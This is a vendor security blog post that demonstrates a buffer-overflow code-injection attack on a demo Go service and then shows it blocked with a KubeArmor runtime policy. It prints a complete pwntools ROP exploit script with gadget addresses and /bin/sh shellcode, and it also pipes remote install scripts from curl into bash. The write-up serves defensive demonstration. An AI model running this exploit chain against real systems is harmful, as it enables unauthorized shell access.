BLOG

Run-time security of GoLang Microservices - Accuknox

KubeArmor

Run-time security of GoLang Microservices - Accuknox


Introduction

The Google-born GoLang is widely used for many cloud-native operations in production such as Google Cloud and Amazon Web Servers. As such, one must ensure that there’s no vulnerability left open in the application’s codebase for exploitation. Since a large chunk of these project components is often reused in different products across an organization, even a single vulnerability in any element can compromise potentially any app on the infrastructure. That's why we need to constantly monitor these microservice applications and block access whenever the packages exhibit malicious behavior.

This blog will explore a common vulnerability called unsafe pointer and mitigate it. To know more about the CVE, check out the following link

About the Vulnerability

This vulnerability revolves around creating a buffer overflow which we can later leverage to inject arbitrary code and spawn a shell in the host machine. We shall be using a bunch of exploit files here.

The exploit file runs the program and supplies a carefully crafted input to overwrite the stack. The stored return address is a series of ROP gadgets (small fragments of assembly code that end with a return instruction). Thus, chaining the gadgets is as simple as concatenating their addresses.

Mitigation Options

Defenders have multiple options when trying to mitigate vulnerabilities. Each must be balanced with severity of impact and risk to the business, time and complexity, cost, and risk of potential unintended impacts.

  • Patch
  • Apply additional security controls. But where/how? This requires considerable evaluation
  • Do nothing & Accept the risk
  • Other

Accuknox Run-time Security With KubeArmor

AccuKnox enables effective, efficient mitigation for any runtime security threat. This is what we’ll walk through below.

We will see how we can protect ourselves using KubeArmor. If we look into the exploit payload, it uses the mprotect syscall to mark a memory region as rwx, then the read syscall to write data to that memory region. It supplies assembly code that spawns a shell using the system syscall to the read syscall and finally jumps to the memory region. The mprotect call prevents DEP, and because Go binaries are statically linked to a rather large binary that contains lots of ROP gadgets, ASLR is not adequate.

Approach

So, let us now see an overview of the testing environment and the exploit codes. In our case, we use one python and GoLang exploit script. We will be deploying the ubuntu pod and executing the application and the exploit scripts in our scenario.

In the python script [exploit_rop.py], we use convenient functions that can be used from pwntools to run the exploit file efficiently. So the first half of the code contains the syscall instruction, addresses, and values. So all these inputs will execute memory pages with read-write execute permissions. The second half of the program is about the shellcode. Here we will create the registers; the shellcode contains the bytes assembly program that spawns the shell access.

Application Deployment

Let’s deploy the application in the Ubuntu pod now.

root@kubearmor:kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/golang-code-injection/ubuntu-pod.yaml

root@kubearmor:kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/golang-code-injection/ubuntu-pod.yaml namespace/testns created deployment.apps/ubuntu-test created

 

Deployment File in YAML:

We will clone a vulnerable Go code to demonstrate the attack and get inside the golang-code-injection directory.

john@ubuntu:git clone https://github.com/accuknox/microservices-demo.git john@ubuntu:cd microservices-demo/golang-code-injection

 

Before we start the application, we need to install the following prerequisites:

  1. pwntools package for Python 2 Link
  2. Go compiler version go1.15 Linux/amd64 Link

Enough with the explanation, let us now fire up the application and dive straight into the interesting part. Simply copy and paste the following commands in your terminal:

As we see above, our exploit script has successfully spawned up a shell.

Therefore, let’s patch this vulnerability now by applying a policy and blocking access to the dependencies used in our exploit files, and we can mitigate it.

Here’s the code snippet for the exploit we have used here:

exploit_rop.py

 

#!/usr/bin/env python2

from pwn import *
import sys

GDB_MODE = len(sys.argv) > 1 and sys.argv[1] == '--gdb'

if not GDB_MODE:
    c = process("./main")


# gadgets (use ropper to find them)
eax0 = 0x0000000000462fa0 # mov eax, 0; ret;
syscall = 0x0000000000464609 # syscall; ret;
poprax = 0x000000000040ebef # pop rax; or dh, dh; ret;
poprsi = 0x000000000041694f # pop rsi; adc al, 0xf6; ret;
poprdi = 0x000000000040ffbd # pop rdi; dec dword ptr [rax + 0x21]; ret;
poprdx = 0x0000000000467815 #pop rdx; xor ah, byte ptr [rsi - 9]; ret;

# addresses
buf = 0x00541000 # use vmmap in GDB to find it
dummy = 0x00557000 # heap

# syscall nums
mprotect = 0xa
read = 0x0


# put it together

# padding
payload = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN"

# mark memory page at buf rwx
payload += p64(poprax) # dec dword ptr in poprdi mitigation
payload += p64(dummy)
payload += p64(poprdi) # 1ST ARGUMENT
payload += p64(buf) # ADDRESS
payload += p64(poprsi) # xor ah, byte ptr in poprdx mitigation
payload += p64(dummy)
payload += p64(poprdx) # 3RD ARGUMENT
payload += p64(0x7) # RWX
payload += p64(poprsi) # 2ND ARGUMENT
payload += p64(0x100) # SIZE
payload += p64(poprax) # SET RAX = 0
payload += p64(0xa) # SET RAX = 10
payload += p64(syscall) # SYSCALL

# read into buf
payload += p64(poprax) # dec dword ptr in poprdi mitigation
payload += p64(dummy)
payload += p64(poprdi) # 1ST ARGUMENT
payload += p64(0x0) # STDIN
payload += p64(poprsi) # xor ah, byte ptr in poprdx mitigation
payload += p64(dummy)
payload += p64(poprdx) # 3RD ARGUMENT
payload += p64(0x100) # SIZE
payload += p64(poprsi) # 2ND ARGUMENT
payload += p64(buf) # ADDRESS
payload += p64(eax0) # SET RAX = 0
payload += p64(syscall) # SYSCALL

# jump into buf
payload += p64(buf)

# machine instructions to spawn /bin/sh
# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"


# send it

if GDB_MODE:
    print(payload + shellcode)
else:
    c.sendline(payload)
    c.sendline(shellcode)
    c.interactive()

main.go

 

Below is the sample policy we are going to apply using KubeArmor.

KubeArmor Security Policy:

 

This policy can further be enhanced to match configMaps or ingress with certain labels. If your organization policy requires labels for each application you deploy, you can update this policy to match the resources with certain labels that can be read about here.

Copy and paste the following commands into your terminal:

root@kubearmor:kubectl apply -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/golang/system/ksp-go-unsafepointer-code-injection.YAML
kubearmorpolicy.security.kubearmor.com/ksp
-go-unsafepointer-code-injection created

 

Run the application now.

 

Now, after applying the policy, we see that the dependencies used to run the application have been blocked. Thus we have completely mitigated the vulnerability.

Protecting against a broader range of attacks with MITRE policies

There are many ways an attacker could compromise the organisation.

The Mitre attack model show’s adversarial behaviour into matrices to show relations between different tactics and techniques used by attackers.

Organizations can use the mitre policy from our KubeArmor open source. We provide a wide range of system, host, and cilium-based policies.

To check more, visit the following Link

Generating a zero-trust profile with Auto Policy Generation Tool.

The auto policy tool will generate system and host-based policies. Let us see how we can install and view the generated policy.

Step 1: we will install the Daemonsets and Services. Just copy and paste the following in your terminal

root@kubearmor: curl -s https://raw.githubusercontent.com/accuknox/tools/main/install.sh | bash

 

Step2: We have already deployed the application. So now we can able to get the auto-discovery policy. Just copy and paste the following in your terminal.

root@kubearmor: curl -s https://raw.githubusercontent.com/accuknox/tools/main/get_discovered_yamls.sh | bash


Downloading discovered policies from pod=knoxautopolicy-684854b4f4-j7sdk

{

  "res": "ok"

}

Got 31 cilium policies in file cilium_policies.YAML

{

  "res": "ok"

}

Got 0 kubearmor policies in file kubearmor_policies_ext.YAML

 

You can see 31  policies have been generated by AccuKnox open-source auto policy generation tool. This will generate the policy according to the workloads you are running. You can able to view the file in your terminal.

Conclusion

In a perfect world, applications would never have such unsafe pointers in their backend. But in real-life scenarios, it’s very challenging to determine which variables/pointers your application is using in what way. Lets ensure that the codebase is entirely secure.

KubeArmor Slack: Join the KubeArmor community on Slack!

Now you can protect your workloads in minutes using AccuKnox, it is available to protect your Kubernetes and other cloud workloads using Kernel Native Primitives such as AppArmor, SELinux, and eBPF.

Let us know if you are seeking additional guidance in planning your cloud security program.